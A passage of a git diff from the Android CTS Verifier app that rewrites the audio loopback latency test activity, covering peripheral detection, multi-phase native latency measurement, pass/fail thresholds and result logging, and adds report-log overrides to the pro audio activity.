-            } catch (InterruptedException e) {
-                e.printStackTrace();
-            }
-        }
-        mResultText.setText(result);
-
-        recordTestResults();
-
-        showWait(false);
-        mTestButton.setEnabled(true);
-    }
-
-    private void handleTestPhaseCompletion() {
-        if (mNativeAnalyzerThread != null && mTestPhase < NUM_TEST_PHASES) {
-            mLatencyMillis[mTestPhase] = mNativeAnalyzerThread.getLatencyMillis();
-            mConfidence[mTestPhase] = mNativeAnalyzerThread.getConfidence();
-
-            String result = String.format(
-                    "Test %d Finished\nLatency: %.2f ms\nConfidence: %.2f\n",
-                    mTestPhase,
-                    mLatencyMillis[mTestPhase],
-                    mConfidence[mTestPhase]);
-
-            mResultText.setText(result);
-            try {
-                mNativeAnalyzerThread.stopTest(STOP_TEST_TIMEOUT_MSEC);
-                // Thread.sleep(/*STOP_TEST_TIMEOUT_MSEC*/500);
-            } catch (InterruptedException e) {
-                e.printStackTrace();
-            }
-
-            mTestPhase++;
-            if (mTestPhase >= NUM_TEST_PHASES) {
-                handleTestCompletion();
-            } else {
-                startTestPhase();
-            }
-        }
-    }
-
-    /**
-     * handler for messages from audio thread
-     */
-    private Handler mMessageHandler = new Handler() {
-        public void handleMessage(Message msg) {
-            super.handleMessage(msg);
-            switch(msg.what) {
-                case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_REC_STARTED:
-                    Log.v(TAG,"got message native rec started!!");
-                    showWait(true);
-                    mResultText.setText(String.format("[phase: %d] - Test Running...",
-                            (mTestPhase + 1)));
-                    break;
-                case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_OPEN_ERROR:
-                    Log.v(TAG,"got message native rec can't start!!");
-                    mResultText.setText("Test Error opening streams.");
-                    handleTestCompletion();
-                    break;
-                case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_REC_ERROR:
-                    Log.v(TAG,"got message native rec can't start!!");
-                    mResultText.setText("Test Error while recording.");
-                    handleTestCompletion();
-                    break;
-                case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_REC_COMPLETE_ERRORS:
-                    mResultText.setText("Test FAILED due to errors.");
-                    handleTestCompletion();
-                    break;
-                case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_ANALYZING:
-                    Log.i(TAG, "NATIVE_AUDIO_THREAD_MESSAGE_ANALYZING");
-                    mResultText.setText(String.format("[phase: %d] - Analyzing ...",
-                            mTestPhase + 1));
-                    break;
-                case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_REC_COMPLETE:
-                    Log.i(TAG, "NATIVE_AUDIO_THREAD_MESSAGE_REC_COMPLETE");
-                    handleTestPhaseCompletion();
-                    break;
-                default:
-                    break;
-            }
-        }
-    };
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        setContentView(R.layout.audio_loopback_latency_activity);
-
-        setPassFailButtonClickListeners();
-        getPassButton().setEnabled(false);
-        setInfoResources(R.string.audio_loopback_latency_test, R.string.audio_loopback_info, -1);
-
-        mClaimsOutput = AudioSystemFlags.claimsOutput(this);
-        mClaimsInput = AudioSystemFlags.claimsInput(this);
-        mClaimsProAudio = AudioSystemFlags.claimsProAudio(this);
-
-        mYesString = getResources().getString(R.string.audio_general_yes);
-        mNoString = getResources().getString(R.string.audio_general_no);
-
-        // Pro Audio
-        ((TextView)findViewById(R.id.audio_loopback_pro_audio)).setText(
-                "" + (mClaimsProAudio ? mYesString : mNoString));
-
-        // MMAP
-        ((TextView)findViewById(R.id.audio_loopback_mmap)).setText(
-                "" + (mSupportsMMAP ? mYesString : mNoString));
-        ((TextView)findViewById(R.id.audio_loopback_mmap_exclusive)).setText(
-                "" + (mSupportsMMAPExclusive ? mYesString : mNoString));
-
-        // Low Latency
-        ((TextView)findViewById(R.id.audio_loopback_low_latency)).setText(
-                "" + (AudioSystemFlags.claimsLowLatencyAudio(this) ? mYesString : mNoString));
-
-        mTestPathTxt = ((TextView)findViewById(R.id.audio_loopback_testpath));
-
-        mTestButton = (Button)findViewById(R.id.audio_loopback_test_btn);
-        mTestButton.setOnClickListener(mBtnClickListener);
-
-        mAudioManager = (AudioManager)getSystemService(AUDIO_SERVICE);
-
-        mAudioManager.registerAudioDeviceCallback(new ConnectListener(), new Handler());
-
-        connectLoopbackUI();
-
-        calculateLatencyThresholds();
-        displayLatencyThresholds();
-    }
-
-    private class OnBtnClickListener implements OnClickListener {
-        @Override
-        public void onClick(View v) {
-            switch (v.getId()) {
-                case R.id.audio_loopback_test_btn:
-                    Log.i(TAG, "audio loopback test");
-                    startAudioTest(mMessageHandler);
-                    break;
-            }
-        }
-    }
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackLatencyActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackLatencyActivity.java
index 9490091..8ee3446 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackLatencyActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackLatencyActivity.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2020 The Android Open Source Project
+ * Copyright (C) 2015 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -16,9 +16,679 @@
 
 package com.android.cts.verifier.audio;
 
+import android.app.AlertDialog;
+import android.media.AudioDeviceCallback;
+import android.media.AudioDeviceInfo;
+import android.media.AudioManager;
+import android.media.MediaRecorder;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.Message;
+import android.util.Log;
+import android.view.View;
+import android.view.View.OnClickListener;
+import android.view.ViewGroup;
+import android.widget.Button;
+import android.widget.ProgressBar;
+import android.widget.SeekBar;
+import android.widget.TextView;
+
+import com.android.compatibility.common.util.ResultType;
+import com.android.compatibility.common.util.ResultUnit;
+import com.android.cts.verifier.audio.audiolib.AudioSystemFlags;
+import com.android.cts.verifier.audio.audiolib.StatUtils;
+import com.android.cts.verifier.audio.audiolib.AudioUtils;
+import com.android.cts.verifier.CtsVerifierReportLog;
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+import static com.android.cts.verifier.TestListActivity.sCurrentDisplayMode;
+import static com.android.cts.verifier.TestListAdapter.setTestNameSuffix;
+
 /**
- * Tests Audio Device roundtrip latency by using a loopback plug.
+ * CtsVerifier Audio Loopback Latency Test
  */
-public class AudioLoopbackLatencyActivity extends AudioLoopbackBaseActivity {
-    private static final String TAG = AudioLoopbackLatencyActivity.class.getSimpleName();
+public class AudioLoopbackLatencyActivity extends PassFailButtons.Activity {
+    private static final String TAG = "AudioLoopbackLatencyActivity";
+
+    // JNI load
+    static {
+        try {
+            System.loadLibrary("audioloopback_jni");
+        } catch (UnsatisfiedLinkError e) {
+            Log.e(TAG, "Error loading Audio Loopback JNI library");
+            Log.e(TAG, "e: " + e);
+            e.printStackTrace();
+        }
+
+        /* TODO: gracefully fail/notify if the library can't be loaded */
+    }
+    protected AudioManager mAudioManager;
+
+    // UI
+    TextView mInputDeviceTxt;
+    TextView mOutputDeviceTxt;
+
+    TextView mAudioLevelText;
+    SeekBar mAudioLevelSeekbar;
+
+    TextView mTestPathTxt;
+
+    TextView mResultText;
+    ProgressBar mProgressBar;
+    int mMaxLevel;
+
+    OnBtnClickListener mBtnClickListener = new OnBtnClickListener();
+    protected Button mTestButton;
+
+    String mYesString;
+    String mNoString;
+
+    // These flags determine the maximum allowed latency
+    private boolean mClaimsProAudio;
+    private boolean mClaimsOutput;
+    private boolean mClaimsInput;
+
+    // Useful info
+    private boolean mSupportsMMAP = AudioUtils.isMMapSupported();
+    private boolean mSupportsMMAPExclusive = AudioUtils.isMMapExclusiveSupported();
+
+    // Peripheral(s)
+    boolean mIsPeripheralAttached;  // CDD ProAudio section C-1-3
+    AudioDeviceInfo mOutputDevInfo;
+    AudioDeviceInfo mInputDevInfo;
+
+    protected static final int TESTPERIPHERAL_INVALID       = -1;
+    protected static final int TESTPERIPHERAL_NONE          = 0;
+    protected static final int TESTPERIPHERAL_ANALOG_JACK   = 1;
+    protected static final int TESTPERIPHERAL_USB           = 2;
+    protected static final int TESTPERIPHERAL_DEVICE        = 3; // device speaker + mic
+    protected int mTestPeripheral = TESTPERIPHERAL_NONE;
+
+    // Loopback Logic
+    NativeAnalyzerThread mNativeAnalyzerThread = null;
+
+    protected static final int NUM_TEST_PHASES = 5;
+    protected int mTestPhase = 0;
+
+    protected double[] mLatencyMillis = new double[NUM_TEST_PHASES];
+    protected double[] mConfidence = new double[NUM_TEST_PHASES];
+
+    protected double mMeanLatencyMillis;
+    protected double mMeanAbsoluteDeviation;
+    protected double mMeanConfidence;
+
+    protected static final double CONFIDENCE_THRESHOLD = 0.6;
+    // impossibly low latencies (indicating something in the test went wrong).
+    protected static final float EPSILON = 1.0f;
+    protected static final double PROAUDIO_RECOMMENDED_LATENCY_MS = 20.0;
+    protected static final double PROAUDIO_RECOMMENDED_USB_LATENCY_MS = 25.0;
+    protected static final double PROAUDIO_MUST_LATENCY_MS = 20.0;
+    protected static final double BASIC_RECOMMENDED_LATENCY_MS = 50.0;
+    protected static final double BASIC_MUST_LATENCY_MS = 800.0;
+    protected double mMustLatency;
+    protected double mRecommendedLatency;
+
+    // The audio stream callback threads should stop and close
+    // in less than a few hundred msec. This is a generous timeout value.
+    private static final int STOP_TEST_TIMEOUT_MSEC = 2 * 1000;
+
+    //
+    // Common UI Handling
+    //
+    private void connectLoopbackUI() {
+        // Connected Device
+        mInputDeviceTxt = ((TextView)findViewById(R.id.audioLoopbackInputLbl));
+        mOutputDeviceTxt = ((TextView)findViewById(R.id.audioLoopbackOutputLbl));
+
+        mAudioLevelText = (TextView)findViewById(R.id.audio_loopback_level_text);
+        mAudioLevelSeekbar = (SeekBar)findViewById(R.id.audio_loopback_level_seekbar);
+        mMaxLevel = mAudioManager.getStreamMaxVolume(AudioManager.STREAM_MUSIC);
+        mAudioLevelSeekbar.setMax(mMaxLevel);
+        mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, (int)(0.7 * mMaxLevel), 0);
+        refreshLevel();
+
+        mAudioLevelSeekbar.setOnSeekBarChangeListener(new SeekBar.OnSeekBarChangeListener() {
+            @Override
+            public void onStopTrackingTouch(SeekBar seekBar) {}
+
+            @Override
+            public void onStartTrackingTouch(SeekBar seekBar) {}
+
+            @Override
+            public void onProgressChanged(SeekBar seekBar, int progress, boolean fromUser) {
+                mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC,
+                        progress, 0);
+                Log.i(TAG,"Level set to: " + progress);
+                refreshLevel();
+            }
+        });
+
+        mResultText = (TextView)findViewById(R.id.audio_loopback_results_text);
+        mProgressBar = (ProgressBar)findViewById(R.id.audio_loopback_progress_bar);
+        showWait(false);
+    }
+
+    //
+    // Peripheral Connection Logic
+    //
+    protected void scanPeripheralList(AudioDeviceInfo[] devices) {
+        // CDD Section C-1-3: USB port, host-mode support
+
+        // Can't just use the first record because then we will only get
+        // Source OR sink, not both even on devices that are both.
+        mOutputDevInfo = null;
+        mInputDevInfo = null;
+
+        // Any valid peripherals
+        // Do we leave in the Headset test to support a USB-Dongle?
+        for (AudioDeviceInfo devInfo : devices) {
+            if (devInfo.getType() == AudioDeviceInfo.TYPE_USB_DEVICE || // USB Peripheral
+                    devInfo.getType() == AudioDeviceInfo.TYPE_USB_HEADSET || // USB dongle+LBPlug
+                    devInfo.getType() == AudioDeviceInfo.TYPE_WIRED_HEADSET || // Loopback Plug?
+                    devInfo.getType() == AudioDeviceInfo.TYPE_AUX_LINE) { // Aux-cable loopback?
+                if (devInfo.isSink()) {
+                    mOutputDevInfo = devInfo;
+                }
+                if (devInfo.isSource()) {
+                    mInputDevInfo = devInfo;
+                }
+            }  else {
+                handleDeviceConnection(devInfo);
+            }
+        }
+
+        // need BOTH input and output to test
+        mIsPeripheralAttached = mOutputDevInfo != null && mInputDevInfo != null;
+        calculateTestPeripheral();
+        showConnectedAudioPeripheral();
+        calculateLatencyThresholds();
+        displayLatencyThresholds();
+    }
+
+    protected void handleDeviceConnection(AudioDeviceInfo deviceInfo) {
+        // NOP
+    }
+
+    private class ConnectListener extends AudioDeviceCallback {
+        /*package*/ ConnectListener() {}
+
+        //
+        // AudioDevicesManager.OnDeviceConnectionListener
+        //
+        @Override
+        public void onAudioDevicesAdded(AudioDeviceInfo[] addedDevices) {
+            scanPeripheralList(mAudioManager.getDevices(AudioManager.GET_DEVICES_ALL));
+        }
+
+        @Override
+        public void onAudioDevicesRemoved(AudioDeviceInfo[] removedDevices) {
+            scanPeripheralList(mAudioManager.getDevices(AudioManager.GET_DEVICES_ALL));
+        }
+    }
+
+    private void calculateTestPeripheral() {
+        if (!mIsPeripheralAttached) {
+            if ((mOutputDevInfo != null && mInputDevInfo == null)
+                || (mOutputDevInfo == null && mInputDevInfo != null)) {
+                mTestPeripheral = TESTPERIPHERAL_INVALID;
+            } else {
+                mTestPeripheral = TESTPERIPHERAL_DEVICE;
+            }
+        } else if (!areIODevicesOnePeripheral()) {
+            mTestPeripheral = TESTPERIPHERAL_INVALID;
+        } else if (mInputDevInfo.getType() == AudioDeviceInfo.TYPE_USB_DEVICE ||
+                mInputDevInfo.getType() == AudioDeviceInfo.TYPE_USB_HEADSET) {
+            mTestPeripheral = TESTPERIPHERAL_USB;
+        } else if (mInputDevInfo.getType() == AudioDeviceInfo.TYPE_WIRED_HEADSET ||
+                mInputDevInfo.getType() == AudioDeviceInfo.TYPE_AUX_LINE) {
+            mTestPeripheral = TESTPERIPHERAL_ANALOG_JACK;
+        } else {
+            // Huh?
+            Log.e(TAG, "No valid peripheral found!?");
+            mTestPeripheral = TESTPERIPHERAL_NONE;
+        }
+    }
+
+    private boolean isPeripheralValidForTest() {
+        return mTestPeripheral == TESTPERIPHERAL_ANALOG_JACK
+                    || mTestPeripheral == TESTPERIPHERAL_USB;
+    }
+
+    private void showConnectedAudioPeripheral() {
+        mInputDeviceTxt.setText(
+                mInputDevInfo != null ? mInputDevInfo.getProductName().toString()
+                        : "Not connected");
+        mOutputDeviceTxt.setText(
+                mOutputDevInfo != null ? mOutputDevInfo.getProductName().toString()
+                        : "Not connected");
+
+        String pathName;
+        switch (mTestPeripheral) {
+            case TESTPERIPHERAL_INVALID:
+                pathName = "Invalid Test Peripheral";
+                break;
+
+            case TESTPERIPHERAL_ANALOG_JACK:
+                pathName = "Headset Jack";
+                break;
+
+            case TESTPERIPHERAL_USB:
+                pathName = "USB";
+                break;
+
+            case TESTPERIPHERAL_DEVICE:
+                pathName = "Device Speaker + Microphone";
+                break;
+
+            case TESTPERIPHERAL_NONE:
+            default:
+                pathName = "Error. Unknown Test Path";
+                break;
+        }
+        mTestPathTxt.setText(pathName);
+        mTestButton.setEnabled(
+                mTestPeripheral != TESTPERIPHERAL_INVALID && mTestPeripheral != TESTPERIPHERAL_NONE);
+
+    }
+
+    private boolean areIODevicesOnePeripheral() {
+        if (mOutputDevInfo == null || mInputDevInfo == null) {
+            return false;
+        }
+
+        return mOutputDevInfo.getProductName().toString().equals(
+                mInputDevInfo.getProductName().toString());
+    }
+
+    private void calculateLatencyThresholds() {
+        switch (mTestPeripheral) {
+            case TESTPERIPHERAL_ANALOG_JACK:
+                mRecommendedLatency = mClaimsProAudio
+                        ? PROAUDIO_RECOMMENDED_LATENCY_MS : BASIC_RECOMMENDED_LATENCY_MS;
+                mMustLatency =  mClaimsProAudio
+                        ? PROAUDIO_RECOMMENDED_LATENCY_MS : BASIC_MUST_LATENCY_MS;
+                break;
+
+            case TESTPERIPHERAL_USB:
+                mRecommendedLatency = mClaimsProAudio
+                        ? PROAUDIO_RECOMMENDED_USB_LATENCY_MS : BASIC_RECOMMENDED_LATENCY_MS;
+                mMustLatency = mClaimsProAudio
+                        ? PROAUDIO_RECOMMENDED_USB_LATENCY_MS : BASIC_MUST_LATENCY_MS;
+                break;
+
+            case TESTPERIPHERAL_DEVICE:
+                // This isn't a valid case so we won't pass it, but it can be run
+                mRecommendedLatency = mClaimsProAudio
+                        ? PROAUDIO_RECOMMENDED_LATENCY_MS : BASIC_RECOMMENDED_LATENCY_MS;
+                mMustLatency = mClaimsProAudio
+                        ? PROAUDIO_RECOMMENDED_LATENCY_MS :BASIC_MUST_LATENCY_MS;
+                break;
+
+            case TESTPERIPHERAL_NONE:
+            default:
+                mRecommendedLatency = BASIC_RECOMMENDED_LATENCY_MS;
+                mMustLatency = BASIC_MUST_LATENCY_MS;
+                break;
+        }
+    }
+
+    private void displayLatencyThresholds() {
+        if (isPeripheralValidForTest()) {
+            ((TextView) findViewById(R.id.audio_loopback_must_latency)).setText("" + mMustLatency);
+            ((TextView) findViewById(R.id.audio_loopback_recommended_latency)).setText(
+                    "" + mRecommendedLatency);
+        } else {
+            String naStr = getResources().getString(R.string.audio_proaudio_NA);
+            ((TextView) findViewById(R.id.audio_loopback_must_latency)).setText(naStr);
+            ((TextView) findViewById(R.id.audio_loopback_recommended_latency)).setText(naStr);
+        }
+    }
+
+    /**
+     * refresh Audio Level seekbar and text
+     */
+    private void refreshLevel() {
+        int currentLevel = mAudioManager.getStreamVolume(AudioManager.STREAM_MUSIC);
+        mAudioLevelSeekbar.setProgress(currentLevel);
+
+        String levelText = String.format("%s: %d/%d",
+                getResources().getString(R.string.audio_loopback_level_text),
+                currentLevel, mMaxLevel);
+        mAudioLevelText.setText(levelText);
+    }
+
+    //
+    // show active progress bar
+    //
+    protected void showWait(boolean show) {
+        mProgressBar.setVisibility(show ? View.VISIBLE : View.INVISIBLE);
+    }
+
+    //
+    // Common logging
+    //
+    // Schema
+    private static final String KEY_LATENCY = "latency";
+    private static final String KEY_CONFIDENCE = "confidence";
+    private static final String KEY_SAMPLE_RATE = "sample_rate";
+    private static final String KEY_IS_PRO_AUDIO = "is_pro_audio";
+    private static final String KEY_IS_LOW_LATENCY = "is_low_latency";
+    private static final String KEY_IS_PERIPHERAL_ATTACHED = "is_peripheral_attached";
+    private static final String KEY_INPUT_PERIPHERAL_NAME = "input_peripheral";
+    private static final String KEY_OUTPUT_PERIPHERAL_NAME = "output_peripheral";
+    private static final String KEY_TEST_PERIPHERAL = "test_peripheral";
+    private static final String KEY_TEST_MMAP = "supports_mmap";
+    private static final String KEY_TEST_MMAPEXCLUSIVE = "supports_mmap_exclusive";
+    private static final String KEY_LEVEL = "level";
+    private static final String KEY_BUFFER_SIZE = "buffer_size_in_frames";
+
+    @Override
+    public String getTestId() {
+        return setTestNameSuffix(sCurrentDisplayMode, getClass().getName());
+    }
+
+    @Override
+    public String getReportFileName() { return PassFailButtons.AUDIO_TESTS_REPORT_LOG_NAME; }
+
+    @Override
+    public final String getReportSectionName() {
+        return setTestNameSuffix(sCurrentDisplayMode, "audio_loopback_latency_activity");
+    }
+
+    //
+    // Subclasses should call this explicitly. SubClasses should call submit() after their logs
+    //
+    @Override
+    public void recordTestResults() {
+        if (mNativeAnalyzerThread == null) {
+            return; // no results to report
+        }
+
+        CtsVerifierReportLog reportLog = getReportLog();
+        reportLog.addValue(
+                KEY_LATENCY,
+                mMeanLatencyMillis,
+                ResultType.LOWER_BETTER,
+                ResultUnit.MS);
+
+        reportLog.addValue(
+                KEY_CONFIDENCE,
+                mMeanConfidence,
+                ResultType.HIGHER_BETTER,
+                ResultUnit.NONE);
+
+        reportLog.addValue(
+                KEY_SAMPLE_RATE,
+                mNativeAnalyzerThread.getSampleRate(),
+                ResultType.NEUTRAL,
+                ResultUnit.NONE);
+
+        reportLog.addValue(
+                KEY_IS_LOW_LATENCY,
+                mNativeAnalyzerThread.isLowLatencyStream(),
+                ResultType.NEUTRAL,
+                ResultUnit.NONE);
+
+        reportLog.addValue(
+                KEY_IS_PERIPHERAL_ATTACHED,
+                mIsPeripheralAttached,
+                ResultType.NEUTRAL,
+                ResultUnit.NONE);
+
+        reportLog.addValue(
+                KEY_IS_PRO_AUDIO,
+                mClaimsProAudio,
+                ResultType.NEUTRAL,
+                ResultUnit.NONE);
+
+        reportLog.addValue(
+                KEY_TEST_PERIPHERAL,
+                mTestPeripheral,
+                ResultType.NEUTRAL,
+                ResultUnit.NONE);
+
+        reportLog.addValue(
+                KEY_TEST_MMAP,
+                mSupportsMMAP,
+                ResultType.NEUTRAL,
+                ResultUnit.NONE);
+
+        reportLog.addValue(
+                KEY_TEST_MMAPEXCLUSIVE ,
+                mSupportsMMAPExclusive,
+                ResultType.NEUTRAL,
+                ResultUnit.NONE);
+
+        if (mIsPeripheralAttached) {
+            reportLog.addValue(
+                    KEY_INPUT_PERIPHERAL_NAME,
+                    mInputDevInfo != null ? mInputDevInfo.getProductName().toString() : "None",
+                    ResultType.NEUTRAL,
+                    ResultUnit.NONE);
+
+            reportLog.addValue(
+                    KEY_OUTPUT_PERIPHERAL_NAME,
+                    mOutputDevInfo != null ? mOutputDevInfo.getProductName().toString() : "None",
+                    ResultType.NEUTRAL,
+                    ResultUnit.NONE);
+        }
+
+        int audioLevel = mAudioLevelSeekbar.getProgress();
+        reportLog.addValue(
+                KEY_LEVEL,
+                audioLevel,
+                ResultType.NEUTRAL,
+                ResultUnit.NONE);
+
+        reportLog.submit();
+    }
+
+    private void startAudioTest(Handler messageHandler) {
+        getPassButton().setEnabled(false);
+
+        mTestPhase = 0;
+        java.util.Arrays.fill(mLatencyMillis, 0.0);
+        java.util.Arrays.fill(mConfidence, 0.0);
+
+        mNativeAnalyzerThread = new NativeAnalyzerThread(this);
+        if (mNativeAnalyzerThread != null) {
+            mNativeAnalyzerThread.setMessageHandler(messageHandler);
+            // This value matches AAUDIO_INPUT_PRESET_VOICE_RECOGNITION
+            mNativeAnalyzerThread.setInputPreset(MediaRecorder.AudioSource.VOICE_RECOGNITION);
+            startTestPhase();
+        } else {
+            Log.e(TAG, "Couldn't allocate native analyzer thread");
+            mResultText.setText(getResources().getString(R.string.audio_loopback_failure));
+        }
+    }
+
+    private void startTestPhase() {
+        if (mNativeAnalyzerThread != null) {
+            mNativeAnalyzerThread.startTest();
+
+            // what is this for?
+            try {
+                Thread.sleep(200);
+            } catch (InterruptedException e) {
+                e.printStackTrace();
+            }
+        }
+    }
+
+    private void handleTestCompletion() {
+        mMeanLatencyMillis = StatUtils.calculateMean(mLatencyMillis);
+        mMeanAbsoluteDeviation =
+                StatUtils.calculateMeanAbsoluteDeviation(mMeanLatencyMillis, mLatencyMillis);
+        mMeanConfidence = StatUtils.calculateMean(mConfidence);
+
+        boolean pass = isPeripheralValidForTest()
+                && mMeanConfidence >= CONFIDENCE_THRESHOLD
+                && mMeanLatencyMillis > EPSILON
+                && mMeanLatencyMillis < mMustLatency;
+
+        getPassButton().setEnabled(pass);
+
+        String result;
+        if (mMeanConfidence < CONFIDENCE_THRESHOLD) {
+            result = String.format(
+                    "Test Finished\nInsufficient Confidence (%.2f < %.2f). No Results.",
+                    mMeanConfidence, CONFIDENCE_THRESHOLD);
+        } else {
+            result = String.format(
+                    "Test Finished - %s\nMean Latency:%.2f ms (required:%.2f)\n" +
+                            "Mean Absolute Deviation: %.2f\n" +
+                            " Confidence: %.2f\n" +
+                            " Low Latency Path: %s",
+                    (pass ? "PASS" : "FAIL"),
+                    mMeanLatencyMillis,
+                    mMustLatency,
+                    mMeanAbsoluteDeviation,
+                    mMeanConfidence,
+                    mNativeAnalyzerThread.isLowLatencyStream() ? mYesString : mNoString);
+        }
+
+        // Make sure the test thread is finished. It should already be done.
+        if (mNativeAnalyzerThread != null) {
+            try {
+                mNativeAnalyzerThread.stopTest(STOP_TEST_TIMEOUT_MSEC);
+            } catch (InterruptedException e) {
+                e.printStackTrace();
+            }
+        }
+        mResultText.setText(result);
+
+        recordTestResults();
+
+        showWait(false);
+        mTestButton.setEnabled(true);
+    }
+
+    private void handleTestPhaseCompletion() {
+        if (mNativeAnalyzerThread != null && mTestPhase < NUM_TEST_PHASES) {
+            mLatencyMillis[mTestPhase] = mNativeAnalyzerThread.getLatencyMillis();
+            mConfidence[mTestPhase] = mNativeAnalyzerThread.getConfidence();
+
+            String result = String.format(
+                    "Test %d Finished\nLatency: %.2f ms\nConfidence: %.2f\n",
+                    mTestPhase,
+                    mLatencyMillis[mTestPhase],
+                    mConfidence[mTestPhase]);
+
+            mResultText.setText(result);
+            try {
+                mNativeAnalyzerThread.stopTest(STOP_TEST_TIMEOUT_MSEC);
+                // Thread.sleep(/*STOP_TEST_TIMEOUT_MSEC*/500);
+            } catch (InterruptedException e) {
+                e.printStackTrace();
+            }
+
+            mTestPhase++;
+            if (mTestPhase >= NUM_TEST_PHASES) {
+                handleTestCompletion();
+            } else {
+                startTestPhase();
+            }
+        }
+    }
+
+    /**
+     * handler for messages from audio thread
+     */
+    private Handler mMessageHandler = new Handler() {
+        public void handleMessage(Message msg) {
+            super.handleMessage(msg);
+            switch(msg.what) {
+                case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_REC_STARTED:
+                    Log.v(TAG,"got message native rec started!!");
+                    showWait(true);
+                    mResultText.setText(String.format("[phase: %d] - Test Running...",
+                            (mTestPhase + 1)));
+                    break;
+                case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_OPEN_ERROR:
+                    Log.v(TAG,"got message native rec can't start!!");
+                    mResultText.setText("Test Error opening streams.");
+                    handleTestCompletion();
+                    break;
+                case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_REC_ERROR:
+                    Log.v(TAG,"got message native rec can't start!!");
+                    mResultText.setText("Test Error while recording.");
+                    handleTestCompletion();
+                    break;
+                case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_REC_COMPLETE_ERRORS:
+                    mResultText.setText("Test FAILED due to errors.");
+                    handleTestCompletion();
+                    break;
+                case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_ANALYZING:
+                    Log.i(TAG, "NATIVE_AUDIO_THREAD_MESSAGE_ANALYZING");
+                    mResultText.setText(String.format("[phase: %d] - Analyzing ...",
+                            mTestPhase + 1));
+                    break;
+                case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_REC_COMPLETE:
+                    Log.i(TAG, "NATIVE_AUDIO_THREAD_MESSAGE_REC_COMPLETE");
+                    handleTestPhaseCompletion();
+                    break;
+                default:
+                    break;
+            }
+        }
+    };
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.audio_loopback_latency_activity);
+
+        setPassFailButtonClickListeners();
+        getPassButton().setEnabled(false);
+        setInfoResources(R.string.audio_loopback_latency_test, R.string.audio_loopback_info, -1);
+
+        mClaimsOutput = AudioSystemFlags.claimsOutput(this);
+        mClaimsInput = AudioSystemFlags.claimsInput(this);
+        mClaimsProAudio = AudioSystemFlags.claimsProAudio(this);
+
+        mYesString = getResources().getString(R.string.audio_general_yes);
+        mNoString = getResources().getString(R.string.audio_general_no);
+
+        // Pro Audio
+        ((TextView)findViewById(R.id.audio_loopback_pro_audio)).setText(
+                "" + (mClaimsProAudio ? mYesString : mNoString));
+
+        // MMAP
+        ((TextView)findViewById(R.id.audio_loopback_mmap)).setText(
+                "" + (mSupportsMMAP ? mYesString : mNoString));
+        ((TextView)findViewById(R.id.audio_loopback_mmap_exclusive)).setText(
+                "" + (mSupportsMMAPExclusive ? mYesString : mNoString));
+
+        // Low Latency
+        ((TextView)findViewById(R.id.audio_loopback_low_latency)).setText(
+                "" + (AudioSystemFlags.claimsLowLatencyAudio(this) ? mYesString : mNoString));
+
+        mTestPathTxt = ((TextView)findViewById(R.id.audio_loopback_testpath));
+
+        mTestButton = (Button)findViewById(R.id.audio_loopback_test_btn);
+        mTestButton.setOnClickListener(mBtnClickListener);
+
+        mAudioManager = getSystemService(AudioManager.class);
+
+        mAudioManager.registerAudioDeviceCallback(new ConnectListener(), new Handler());
+
+        connectLoopbackUI();
+
+        calculateLatencyThresholds();
+        displayLatencyThresholds();
+    }
+
+    private class OnBtnClickListener implements OnClickListener {
+        @Override
+        public void onClick(View v) {
+            switch (v.getId()) {
+                case R.id.audio_loopback_test_btn:
+                    Log.i(TAG, "audio loopback test");
+                    startAudioTest(mMessageHandler);
+                    break;
+            }
+        }
+    }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java
index f9a182b..5ca2256 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java
@@ -69,6 +69,7 @@
     private static final String INFO_DIALOG_MESSAGE_ID = "infoDialogMessageId";
 
     // ReportLog Schema
+    private static final String SECTION_PRO_AUDIO_ACTIVITY = "pro_audio_activity";
     private static final String KEY_CLAIMS_PRO = "claims_pro_audio";
     private static final String KEY_CLAIMS_LOW_LATENCY = "claims_low_latency_audio";
     private static final String KEY_CLAIMS_MIDI = "claims_midi";
@@ -245,6 +246,14 @@
     // PassFailButtons Overrides
     //
     @Override
+    public String getReportFileName() { return PassFailButtons.AUDIO_TESTS_REPORT_LOG_NAME; }
+
+    @Override
+    public final String getReportSectionName() {
+        return setTestNameSuffix(sCurrentDisplayMode, SECTION_PRO_AUDIO_ACTIVITY);
+    }
+
+    @Override
     public void recordTestResults() {
 
         CtsVerifierReportLog reportLog = getReportLog();
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/AbstractUserAuthenticationAeadCipherTest.java b/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/AbstractUserAuthenticationAeadCipherTest.java
new file mode 100644
index 0000000..e23ab73
--- /dev/null
